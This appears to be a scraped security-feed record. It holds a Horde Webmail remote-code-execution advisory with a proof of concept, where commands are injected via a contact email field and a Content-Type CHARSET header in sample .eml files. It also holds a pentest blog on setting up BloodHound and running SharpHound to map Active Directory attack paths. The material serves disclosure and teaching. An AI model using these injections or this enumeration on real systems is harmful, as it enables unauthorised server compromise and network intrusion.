\nYI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep \nfpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW \nBQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ \nHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs \nOr+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/ \nVefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0 \nP8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC \nsqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw \ngfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ \nWyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv \niE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27 \nkq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8= \n=RHjX \n-----END PGP PUBLIC KEY BLOCK----- \n \nClick aAdda button: \n \nGo to Preferences -> Global Preferences and click on Personal \nInformation link. Put mymailboxwihPGP@any.com into field The default \ne-mail address to use with this identity and Click aSavea: \n \nCreate our atoa contact in our AddressBook: aAddress Book -> New \nContact -> in Address Book of a|a \n \nPersonal tab a Last Name: contact_for_attack \nCommunication tab a Email: hereinj@any.com \nOther tab a PGP Public Key: any valid Public PGP key (it can be the \nsame as in the previous step) \nAnd click aAdda button: \n \nInject our command: Click on Edit. Go to Communication Tab, put cursor \nin Email field and chose aInspect Element (Q)a from context menu: \n \nDelete aemaila from the type argument and close Inspector: \n \n1 \n<input name=\"object[email]\" id=\"object_email_\" value=\"hereinj@any.com\" \ntype=\"email\"> \n \nEdit the address as we want a for example hereinj$(touch \n/tmp/hereisvuln)@any.com and click aSavea: \n \nCreate a new message ( Mail -> New Message) with our contact as recipient: \n \nChoose PGP Encrypt Message in Encryption option: \n \nEnter any subject and any content. Click aSenda \n \nWe will get aPGP Error:a|a \n \nIt is ok a letas check our server: \n \nWe have a new file ahereisvulna so our command was executed. \n \nUnauthentication Remote Code Execution \nHorde Webmail contains a vulnerability that allows a remote attacker \nto execute arbitrary code with the privileges of the user who runs the \nweb server. \n \nVulnerable code: decryptSignature() function of GPG feature. \n \nPath: /Horde/Crypt/Pgp/Backend/Binary.php: \n \n/* 539 */ public function decryptSignature($text, $params) \n/* 540 */ { \n/* ... */ \n/* 550 */ /* Options for the GPG binary. */ \n/* 551 */ $cmdline = array( \n/* 552 */ '--armor', \n/* 553 */ '--always-trust', \n/* 554 */ '--batch', \n/* 555 */ '--charset ' . (isset($params['charset']) ? \n$params['charset'] : 'UTF-8'), \n/* 556 */ $keyring, \n/* 557 */ '--verify' \n/* 558 */ ); \n/* ... */ \n/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true); \n/* ... */ \n \n$params[acharseta] will be added to $cmdline array and passed to _callGpg(): \n \n/* 642 */ public function _callGpg( \n/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, \n/* 644 */ $parseable = false, $verbose = false \n/* 645 */ ) \n/* 646 */ { \n/* a| */ \n/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); \n/* a| */ \n/* 681 */ if ($mode == 'w') { \n/* a| */ \n/* 704 */ } elseif ($mode == 'r') { \n/* 705 */ if ($fp = popen($cmdline, 'r')) { \n/* a| */ \n \nOur $params[acharseta] will be in command line that is going to be executed. \n \ndecryptSignature() is called from decrypt() method: \n \nPath a /Horde/Crypt/Pgp.php: \n \n/* 611 */ public function decrypt($text, $params = array()) \n/* 612 */ { \n/* 613 */ switch (isset($params['type']) ? $params['type'] : false) { \n/* 614 */ case 'detached-signature': \n/* 615 */ case 'signature': \n/* 616 */ /* Check for required parameters. */ \n/* 617 */ if (!isset($params['pubkey'])) { \n/* 618 */ throw new InvalidArgumentException( \n/* 619 */ 'A public PGP key is required to verify a signed message.' \n/* 620 */ ); \n/* 621 */ } \n/* 622 */ if (($params['type'] === 'detached-signature') && \n/* 623 */ !isset($params['signature'])) { \n/* 624 */ throw new InvalidArgumentException( \n/* 625 */ 'The detached PGP signature block is required to verify the \nsigned message.' \n/* 626 */ ); \n/* 627 */ } \n/* 628 */ \n/* 629 */ $func = 'decryptSignature'; \n/* 630 */ break; \n/* ... */ \n/* 650 */ $this->_initDrivers(); \n/* 651 */ \n/* 652 */ foreach ($this->_backends as $val) { \n/* 653 */ try { \n/* 654 */ return $val->$func($text, $params); \n/* 655 */ } catch (Horde_Crypt_Exception $e) {} \n/* 656 */ } \n/* ... */ \n \ndecrypt() with needed parameters is used in verifySignature(): \n \nPath a /imp/lib/Crypt/Pgp.php \n \n/* 339 */ public function verifySignature($text, $address, $signature = '', \n/* 340 */ $charset = null) \n/* 341 */ { \n/* 342 */ if (!empty($signature)) { \n/* 343 */ $packet_info = $this->pgpPacketInformation($signature); \n/* 344 */ if (isset($packet_info['keyid'])) { \n/* 345 */ $keyid = $packet_info['keyid']; \n/* 346 */ } \n/* 347 */ } \n/* 349 */ if (!isset($keyid)) { \n/* 350 */ $keyid = $this->getSignersKeyID($text); \n/* 351 */ } \n/* 353 */ /* Get key ID of key. */ \n/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid)); \n/* 356 */ if (empty($signature)) { \n/* 357 */ $options = array('type' => 'signature'); \n/* 358 */ } else { \n/* 359 */ $options = array('type' => 'detached-signature', 'signature' \n=> $signature); \n/* 360 */ } \n/* 361 */ $options['pubkey'] = $public_key; \n/* 363 */ if (!empty($charset)) { \n/* 364 */ $options['charset'] = $charset; \n/* 365 */ } \n/* 369 */ return $this->decrypt($text, $options); \n/* 370 */ } \n \nverifySignature() is called from _outputPGPSigned(): \n \nPath a /imp/lib/Mime/Viewer/Pgp.php \n \n/* 387 */ protected function _outputPGPSigned() \n/* 388 */ { \n/* 389 */ global $conf, $injector, $prefs, $registry, $session; \n/* 390 */ \n/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap()); \n/* 392 */ $base_id = reset($partlist); \n/* 393 */ $signed_id = next($partlist); \n/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next'); \n/* 395 */ \n/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) { \n/* 397 */ return array( \n/* 398 */ $sig_id => null \n/* 399 */ ); \n/* 400 */ } \n/* ... */ \n/* 417 */ if ($prefs->getValue('pgp_verify') || \n/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) { \n/* 419 */ $imp_contents = $this->getConfigParam('imp_contents'); \n/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id); \n/* ... */ \n/* 433 */ try { \n/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); \n/* 435 */ if ($sig_raw = \n$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) { \n/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw, \n$this->_getSender()->bare_address, null, $sig_part- \n> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)); \n/* ... */ \n \nAnd it is used in _renderInline(): \n \nPath a /imp/lib/Mime/Viewer/Pgp.php \n \n/* 134 */ protected function _renderInline() \n/* 135 */ { \n/* 136 */ $id = $this->_mimepart->getMimeId(); \n/* 138 */ switch ($this->_mimepart->getType()) { \n/* ... */ \n/* 142 */ case 'multipart/signed': \n/* 143 */ return $this->_outputPGPSigned(); \n \nLetas go back to _outputPGPSigned() method. We can see a few \nrequirements before the needed call: \n \n$conf[agnupga][apatha] should be not empty. This value can be edited \nonly by admin(if he/she wants to allow users to use GPG feature he/she \nneeds to define value for this config). \nCurrent user has enabled ause_pgpa feature in his preferences \nCurrent user has enabled apgp_verifya feature in his preferences \nCurrent user has enabled apgp_verifya feature in his preferences \n \nAlso we see that our charset value is taken from $sig_part -> \ngetMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET) \n \nOur value will be stored during parsing of PGP parts: \n \nPath a /Horde/Crypt/Pgp/Parse.php \n \n/* 150 */ public function parseToPart($text, $charset = 'UTF-8') \n/* 151 */ { \n/* 152 */ $parts = $this->parse($text); \n/* ... */ \n/* 162 */ while (list(,$val) = each($parts)) { \n/* 163 */ switch ($val['type']) { \n/* ... */ \n/* 200 */ case self::ARMOR_SIGNED_MESSAGE: \n/* 201 */ if ((list(,$sig) = each($parts)) && \n/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) { \n/* 203 */ $part = new Horde_Mime_Part(); \n/* 204 */ $part->setType('multipart/signed'); \n/* 205 */ // TODO: add micalg parameter \n/* 206 */ $part->setContentTypeParameter('protocol', \n'application/pgp-signature'); \n/* 207 */ \n/* 208 */ $part1 = new Horde_Mime_Part(); \n/* 209 */ $part1->setType('text/plain'); \n/* 210 */ $part1->setCharset($charset); \n/* 211 */ \n/* 212 */ $part1_data = implode(\"\\n\", $val['data']); \n/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data, \n\"\\n\\n\") + 2)); \n/* 214 */ \n/* 215 */ $part2 = new Horde_Mime_Part(); \n/* 216 */ \n/* 217 */ $part2->setType('application/pgp-signature'); \n/* 218 */ $part2->setContents(implode(\"\\n\", $sig['data'])); \n/* 219 */ \n/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset); \n/* 221 */ $part2->setMetadata(self::SIG_RAW, implode(\"\\n\", \n$val['data']) . \"\\n\" . implode(\"\\n\", $sig['data'])); \n/* 222 */ \n/* 223 */ $part->addPart($part1); \n/* 224 */ $part->addPart($part2); \n/* 225 */ $new_part->addPart($part); \n/* 226 */ \n/* 227 */ next($parts); \n/* 228 */ } \n/* 229 */ } \n/* 230 */ } \n/* 231 */ \n/* 232 */ return $new_part; \n/* 233 */ } \n \nIt is called from _parsePGP(): \n \nPath a /imp/lib/Mime/Viewer/Plain.php \n \nA \n1 \n2 \n3 \n4 \n5 \n6 \n7 \n8 \n/* 239 */ protected function _parsePGP() \n/* 240 */ { \n/* 241 */ $part = \n$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart( \n/* 242 */ new Horde_Stream_Existing(array( \n/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true)) \n/* 244 */ )), \n/* 245 */ $this->_mimepart->getCharset() \n/* 246 */ ); \n \nOur charset value is taken from CHARSET attribute of Content-Type \nheader of parent MIMEpart. \n \n_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde \nWebmail ver 5.2.0 it looks like: \n \nPath a /imp/lib/Mime/Viewer/Plain.php \n \n/* 222 */ protected function _getEmbeddedMimeParts() \n/* 223 */ { \n/* 224 */ $ret = $this->getConfigParam('pgp_inline') \n/* 225 */ ? $this->_parsePGP() \n/* 226 */ : null; \n \nWe can see an additional requirement a our function will be called \nonly if apgp_inlinea config parameter is atruea. It is defined in: \n \nPath a /imp/config/mime_drivers.php \n \n/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data \n/* 38 */ * out of the output (and, if PGP is active, will display the \n/* 39 */ * results of the PGP action). */ \n/* 40 */ 'pgp_inline' => false \n \nDefault value is false, so the major part of Horde servers is not \nvulnerable and our attack is relevant only if an admin manually has \nchanged this line to apgp_inlinea => true. \n \nBut in older versions (before 5.2.0) the code of \n_getEmbeddedMimeParts() is a bit different: \n \nPath a /imp/lib/Mime/Viewer/Plain.php \n \n/* 227 */ protected function _getEmbeddedMimeParts() \n/* 228 */ { \n/* 229 */ $ret = null; \n/* 230 */ \n/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) && \n/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) { \n/* 233 */ $ret = $this->_parsePGP(); \n/* 234 */ } \n \nSo instead of requirement to have config parameter we have requirement \nof apgp_scan_bodya Preference of current user. And it is more likely \nto find a victim with needed preferences. We saw where our injected \ncommand is executed and from where and when it is taken \n \nDuring rendering of massage we: \n \nWill parse PGP values: \n \n#0 IMP_Mime_Viewer_Plain->_parsePGP() called at \n[/imp/lib/Mime/Viewer/Plain.php:225] \n#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at \n[/Horde/Mime/Viewer/Base.php:298] \n#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at \n[/imp/lib/Contents.php:1114] \n#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186] \n#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423] \n#5 IMP_Contents->getInlineOutput() called at \n[/imp/lib/Ajax/Application/ShowMessage.php:296] \n \nWill use them in: \n \n#0 IMP_Mime_Viewer_Plain->_parsePGP() called at \n[/imp/lib/Mime/Viewer/Plain.php:225] \n#0 IMP_Mime_Viewer_Pgp->_renderInline() called at \n[/Horde/Mime/Viewer/Base.php:156] \n#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207] \n#2 Horde_Mime_Viewer_Base->_renderInline() called at \n[/Horde/Mime/Viewer/Base.php:156] \n#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654] \n#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462] \n#5 IMP_Contents->getInlineOutput() called at \n[/imp/lib/Ajax/Application/ShowMessage.php:296]] \n \nIn conclusions: \n \nIf Horde server has vulnerable configuration: \n \nEnabled aGnuPG featurea (there is path to gpg binary in \n$conf[gnupg][path] setting) \nOnly for ver 5.2.0 and newer: apgp_inlinea => true, in \n/imp/config/mime_drivers.php \n \nAnd the victim has checked the next checkbox in his/her preferences ( \naPGP Configure PGP encryption support.a in Prefferences->Mail) : \n \naEnable PGP functionalitya \naShould PGP signed messages be automatically verified when viewed?a if \nit is not checked our command will be executed when the victim clicks \non the link aClick HERE to verify the message.a \nFor versions before 5.2.0: aShould the body of plaintext message be \nscanned for PGP dataa \n \nAn attacker can create email with PGP data, put desired command into \nCHARSET attribute of ContentType header, and this command will be \nexecuted on Horde server when the victim opens this email. \n \nProof of Concept a Remote Code Execution \n \nFor Proof of Concept we can use preconfigured image of Horde server \nfrom Bitnami (Bitnami a aEasy to use cloud images, containers, and VMs \nthat work on any platforma): \n \nhttps://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova \n \nStep 1 a Login as admin (by default user:bitnami) and go to \nAdministration -> Configuration and choose Horde (horde). Open GnuPG \ntab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click \naGenerate Horde Configurationa: \n \nNow we have enabled GPG feature on our server and we can login as \nregular user and try to execute desired commands. But Bitnami image \ndoes not have installed and configured Mail server so we need to use \nexternal one or install it on local machine. \n \nWe will use gmail account (to be able to login to it from Horde I had \nto change Gmail account setting Allow less secure apps: ON). \n \nTo use external Mail server we need to change the next setting: \naAdministrator Panela -> aConfigurationa -> aHordea -> \naAuthenticationa \n \nConfigure the application authentication ($conf[auth][driver]) a \nchange this option to aLet a Horde application handle authenticationa \nand click aGenerate Horde Configurationa. \n \nIf we have Horde Webmail ver 5.2.0 or newer we need to edit \n/imp/config/mime_drivers.php file. Login to the console of bitnami \nimage (default bitnami:bitnami) and run the next command: \n \nsudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php \n \nChange the line: aapgp_inlinea => falsea to aapgp_inlinea => truea and \nsave the changes. \n \nStep 2 a Logout and login with your gmail account. \n \nStep 3 a Go to Preferences -> Mail and click on PGP link: \n \nCheck Enable PGP functionality checkbox and click aSavea \nCheck Should PGP signed messages be automatically verified when viewed checkbox \nFor versions before 5.2.0 check aShould the body of plain-text message \nbe scanned for PGP dataa checkbox Click aSavea \n \nFor version before 5.2.0: \n \nStep 4 a Go to the Mail, take any mail folder (for example Drafts), \nand chose aImporta item from context menu and import attack_whoami.eml \nfile (in the end of this blog). \n \nClick on the imported email: \n \nOur Horde serve is launched under daemon user \n \nStep 5 a We can do the same with attack_touch.eml (in the end of this \nblog) file (import it and click on the new mail) and check /tmp \nfolder: \n \nattack_touch.eml \n \nDate: Fri, 04 Nov 2016 16:04:19 +0000 \nMessage-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> \nFrom: Donald Trump <attacker@attacker.com> \nTo: SomeUser@mydoamin.com \nSubject: PGP_INLine_touch_tmp_youarevuln \nX-IMP-Draft: Yes \nContent-Type: text/plain; CHARSET=\"US-ASCII`touch /tmp/youarevuln`\"; \nformat=flowed; DelSp=Yes \nMIME-Version: 1.0 \nContent-Disposition: inline \n \n \n-----BEGIN PGP SIGNED MESSAGE----- \nHash: SHA1 \n \nThis is a sample of a clear signed message. \n \n-----BEGIN PGP SIGNATURE----- \nVersion: 2.6.2 \n \niQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF \nU5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh \nDztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz \nCvynscaD+wA= \n=Xb9n \n-----END PGP SIGNATURE----- \n \nattack_whoami.eml \n \nDate: Fri, 04 Nov 2016 16:04:19 +0000 \nMessage-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> \nFrom: Donald Trump <attacker@attacker.com> \nTo: SomeUser@mydoamin.com \nSubject: PGP_INLine_whoami \nX-IMP-Draft: Yes \nContent-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes \nMIME-Version: 1.0 \nContent-Disposition: inline \n \n \n-----BEGIN PGP SIGNED MESSAGE----- \nHash: SHA1 \n \nThis is a sample of a clear signed message. \n \n-----BEGIN PGP SIGNATURE----- \nVersion: 2.6.2 \n \niQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF \nU5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh \nDztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz \nCvynscaD+wA= \n=Xb9n \n-----END PGP SIGNATURE----- \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/142106/hgw345-exec.txt"}], "pentestpartners": [{"lastseen": "2019-06-07T14:41:58", "bulletinFamily": "blog", "description": "\n\n### A walkthrough on how to set up and use BloodHound\n\nBloodHound (<https://github.com/BloodHoundAD/BloodHound>) is an application used to visualize active directory environments. The front-end is built on electron and the back-end is a Neo4j database, the data leveraged is pulled from a series of data collectors also referred to as ingestors which come in PowerShell and C# flavours.\n\nIt can be used on engagements to identify different attack paths in Active Directory (AD), this encompasses access control lists (ACLs), users, groups, trust relationships and unique AD objects. The tool can be leveraged by both blue and red teams to find different paths to targets. The subsections below explain the different and how to properly utilize the different ingestors.\n\nSpecifically, it is a tool I've found myself using more and more recently on internal engagements and when compromising a domain as it is a quick way to visualise attack paths and understand users' active directory properties.\n\nFor the purposes of this blog post we'll be using BloodHound 2.1.0 which was the latest version at the time of writing.\n\n### Setup\n\nInitial setup of BloodHound on your host system is fairly simple and only requires a few components, we'll start with setup on Kali Linux, I'm using version 2019.1 which can be acquired from Kali's site [here](<https://www.kali.org/kali-linux-releases/>).\n\nIt can be installed by either building from source or downloading the pre-compiled binaries OR via a package manager if using Kali or other Debian based OS.\n\nBloodHound is supported by Linux, Windows, and MacOS. BloodHound is built on neo4j and depends on it. Neo4j is a graph database management system, which uses NoSQL as a graph database.\n\n### Linux\n\nTo install on kali/debian/ubuntu the simplest thing to do is sudo apt install BloodHound, this will pull down all the required dependencies.\n\nHowever if you want to build from source you need to install NodeJS and pull the git repository which can be found here: <https://github.com/BloodHoundAD/BloodHound>\n\n### Installing NodeJS\n\nnpm and nodejs are available from most package managers, however in in this instance we'll use Debian/Ubuntu as an example;\n\n# Using Ubuntu\n \n \n curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -\n sudo apt-get install -y nodejs\n\n# Using Debian, as root\n \n \n curl -sL https://deb.nodesource.com/setup_12.x | bash -\n apt-get install -y nodejs\n\nOnce node has been installed, you should be able to run npm to install other packages, BloodHound requires electron-packager as a pre-requisite, this can be acquired using the following command:\n \n \n sudo npm install -g electron-packager\n\n\n\nThen clone down the BloodHound from the GitHub link above then run npm install\n\n\n\nWhen this has completed you can build BloodHound with npm run linuxbuild\n\n\n\nAll going well you should be able to run neo4j console and BloodHound:\n\n\n\n### MacOS\n\nThe setup for MacOS is exactly the same to Linux, except for the last command where you should run npm run macbuild instead of linuxbuilt. Then, again running neo4j console & BloodHound to launch will work. Likewise, the DBCreator tool will work on MacOS too as it is a unix base.\n\n### Windows\n\nAs with the Linux setup, download the repository from [GitHub](<https://github.com/BloodHoundAD/BloodHound>) for BloodHound and take note of the example database file as this will be required later. Setting up on windows is similar to Linux however there are extra steps required, we'll start by installing neo4j on windows, this can be acquired from here (<https://neo4j.com/download-center/#releases>). Ensure you select 'Neo4J Community Server'.\n\nBy default, the download brings down a few batch files and PowerShell scripts, in order to run neo4j and BloodHound we want the management one which can be run by importing the module then running neo4j.\n\nFirst open an elevated PowerShell prompt and set the execution policy:\n\nThen navigate to the bin directory of the downloaded neo4j server and import the module then run it:\n\n * Import-Module .\\neo4j-management.psd1\n * Invoke-Neo4j console\n\n\n\nRunning those commands should start the console interface and allow you to change the default password similar to the Linux stage above.\n\nIn conjunction with neo4j, the BloodHound client can also be either run from a pre-compiled binary or compiled on your host machine. If you don't want to run nodejs on your host, the binary can be downloaded from GitHub releases (<https://github.com/BloodHoundAD/BloodHound/releases>) and run from PowerShell:\n\n\n\nTo compile on your host machine, follow the steps below:\n\n 1. [Install NodeJS.](<https://nodejs.org/en/download/>)\n 2. Install electron-packager npm install -g electron-packager\n 3. Clone the BloodHound GitHub repo git clone <https://github.com/adaptivethreat/BloodHound>\n 4. From the root BloodHound directory, run npm install\n 5. Build BloodHound with npm run winbuild\n\n\n\nThen simply running BloodHound will launch the client.\n\n### Docker and BloodHound\n\nAs you've seen above it can be a bit of a pain setting everything up on your host, if you're anything like me you might prefer to automate this some more, enter the wonderful world of docker.\n\nIf you've not got docker installed on your system, you can install it by following the documentation on docker's site:\n\n * Windows Install: <https://docs.docker.com/docker-for-windows/install/>\n * Linux Install: [https://docs.docker.com/install/linux/](<https://docs.docker.com/install/linux/docker-ce/ubuntu/>)\n * Mac Install: <https://docs.docker.com/docker-for-mac/install/>\n\nOnce docker is installed, there are a few options for running BloodHound on docker, unfortunately there isn't an official docker image from BloodHound's Github however there are a few available from the community, I've found belane's to be the best so far. To run this simply start docker and run:\n \n \n docker run -it \\\n -p 7474:7474 \\\n -e DISPLAY=unix$DISPLAY \\\n -v /tmp/.X11-unix:/tmp/.X11-unix \\\n --device=/dev/dri:/dev/dri \\\n -v $(pwd)/data:/data \\\n --name bloodhound belane/bloodhound\n\nThis will pull down the latest version from Docker Hub and run it on your system.\n\n\n\nAlternatively you can clone it down from GitHub: [https://github.com/belane/docker-BloodHound](<https://github.com/belane/docker-bloodhound>) and run yourself (instructions taken from belane's GitHub readme):\n\n#### **Build**\n \n \n docker build . -t Bloodhound\n\n#### Build with example data\n \n \n docker build . -t bloodexample --build-arg data=example\n\n#### Optional Arguments\n\n * **neo4j** version\n * **Bloodhound** version\n \n \n docker build . -t Bloodhound --build-arg neo4j=3.4.8 --build-arg Bloodhound=2.1.0\n\n#### **Run**\n \n \n docker run -it \\\n -p 7474:7474 \\\n -e DISPLAY=unix$DISPLAY \\\n -v /tmp/.X11-unix:/tmp/.X11-unix \\\n --device=/dev/dri:/dev/dri \\\n -v ~/Desktop/bloodhound/data:/data \\\n --name bloodhound bloodhound\n\n#### Run with example data\n \n \n docker run -it \\\n -e DISPLAY=unix$DISPLAY \\\n -v /tmp/.X11-unix:/tmp/.X11-unix \\\n --device=/dev/dri:/dev/dri \\\n -v ~/Desktop/bloodhound/data:/data \\\n --name bloodexample bloodexample\n\n#### Start container\n \n \n docker start Bloodhound\n\n#### Use Login:\n\n * **Database URL**: bolt://localhost:7687\n * **DB Username**: neo4j\n * **DB Password**: blood\n\nIn addition to BloodHound neo4j also has a docker image if you choose to build hBloodHound from source and want a quick implementation of neo4j, this can be pulled with the following command: docker pull neo4j .\n\nThen simply run **sudo docker run -p 7687:7687 -p 7474:7474 neo4j** to start neo4j for BloodHound as shown below:\n\n\n\nThis will start neo4j which is accessible in a browser with the default setup username and password of neo4j, as you're running in docker the easiest way to access is to open a web browser and navigate to http://DOCKERIP:7474[:](<http://DOCKERIP:7474:###>)\n\n\n\nOnce entering the default password, a change password prompt will prompt for a new password, make sure it's something easy to remember as we'll be using this to log into BloodHound.\n\n\n\nNote down the password and launch BloodHound from your docker container earlier(it should still be open in the background), login with your newly created password:\n\n\n\nThe default interface will look similar to the image below, I have enabled dark mode (dark mode all the things!), by clicking on the gear icon in middle right menu bar.\n\n\n\n### Example Data to Play With\n\nIf you want to play about with BloodHound the team have also released an example database generator to help you see what the interface looks like and to play around with different properties, this can be pulled from GitHub here(<https://github.com/BloodHoundAD/BloodHound-Tools/tree/master/DBCreator>)\n\nTo set this up simply clone the repository and follow the steps in the readme, make sure that all files in the repo are in the same directory.\n\n * git clone <https://github.com/BloodHoundAD/BloodHound-Tools>\n * cd DBCreator\n * pip install neo4j-driver\n * sudo pip2 install neo4j\n * python DBCreator.py\n\nThe tool is written in python2 so may require to be run as python2 DBCreator.py, the setup for this tooling requires your neo4j credentials as it connects directly to neo4j and adds an example database to play with.\n\n\n\nYou should be prompted with a 'Database Connection Successful' message which assures that the tool is ready to generate and load some example data, simply use the command generate:\n\n\n\nThe generated data will be automatically loaded into the BloodHound database and can be played with using BloodHound's interface:\n\n\n\nThe view above shows all the members of the domain admins group in a simple path, in addition to the main graph the Database Info tab in the left-hand corner shows all of the stats in the database.\n\n\n\nExplaining the different aspects of this tab are as follows:\n\n * **Users** - The users on the network extracted from active directory.\n * **Computers** - The different endpoints on the network, servers, workstations and other devices.\n * **Groups** - The different AD groups extracted from AD.\n * **Sessions** - The amount of user sessions on computers on the network that the ingestor has extracted (more on this later).\n * **ACLs **- Access control lists, the different permissions and access that users and groups have against each other.\n * **Relationships** - The different relations that all of the other aspects have to each other such as group memberships, users, user sessions and other related information.\n\n### Ingestors & Data Collection\n\nOnce you've got BloodHound and neo4j installed, had a play around with generating test data. The next stage is actually using BloodHound with real data from a target or lab network. Essentially it comes in two parts, the interface and the ingestors.\n\nTo actually use BloodHound other than the example graph you will likely want to use an ingestor on the target system or domain. Essentially these are used to query the domain controllers and active directory to retrieve all of the trust relationships, group policy settings and active directory objects.\n\nIngestors are the main data collectors for BloodHound, to function properly BloodHound requires three key pieces of information from an Active Directory environment, these are\n\n * What user is logged on and where?\n * Which users have admin rights and what do they have access to?\n * What groups do users and groups belong to?\n\nAdditionally, BloodHound can also be fed information about what AD principles have control over other users and group objects to determine additional relationships. In the majority of implementations, BloodHound does not require administrative privileges to run and therefore can act as a useful tool to identify paths to privilege escalate.\n\nAs of BloodHound 2.1 (which is the version that has been setup in the previous setup steps), data collection is housed in the form of JSON files, typically a few different files will be created depending on the options selected for data collection. Each of which contains information about AD relationships and different users and groups' permissions.\n\nWithin the BloodHound git repository (<https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors>) there are two different ingestors, one written in C# and a second in PowerShell which loads the C# binary via reflection. Previous versions of BloodHound had other types of ingestor however as the landscape is moving away from PowerShell based attacks and onto C#, BloodHound is following this trend.\n\n\n\nThe ingestors can be compiled using visual studio on windows or a precompiled binary is supplied in the repo, it is highly recommended that you compile your own ingestor to ensure you understand what you're running on a network. Never run an untrusted binary on a test if you do not know what it is doing.\n\nAs well as the C# and PowerShell ingestors there is also a Python based one named BloodHound.Py (<https://github.com/fox-it/BloodHound.py>) which needs to be manually installed through pip to function. It does not currently support Kerberos unlike the other ingestors. However, it can still perform the default data collection tasks, such as group membership collection, local admin collection, session collection, and tasks like performing domain trust enumeration.\n\nBloodHound python can be installed via pip using the command: pip install BloodHound, or by cloning this repository and running python setup.py install. BloodHound.py requires impacket, ldap3 and dnspython to function. To use it with python 3.x, use the latest impacket from GitHub.\n\n### How to Use Sharphound\n\nTypically when you've compromised an endpoint on a domain as a user you'll want to start to map out the trust relationships, enter Sharphound for this task. It needs to be run on an endpoint to do this, as there are two flavours (technically three if we include the python ingestor) we'll want to drop either the PowerShell version or the C# binary onto the machine to enumerate the domain.\n\nIt isn't advised that you drop a binary on the box if you can help it as this is poor operational security, you can however load the binary into memory using reflection techniques.\n\nThe syntax for running a full collection on the network is as follows, this will use all of the collection method techniques in an attempt to enumerate as much of the network as possible:\n \n \n invoke-Bloodhound -CollectionMethod All -Domain TESTLAB.local -ZipFileName PATHTOZIP\\file.zip -JsonFolder PATHTOZIP\n\nThe above command will run Sharphound to collect all information then export it to JSON format in a supplied path then compress this information for ease of import to BloodHound's 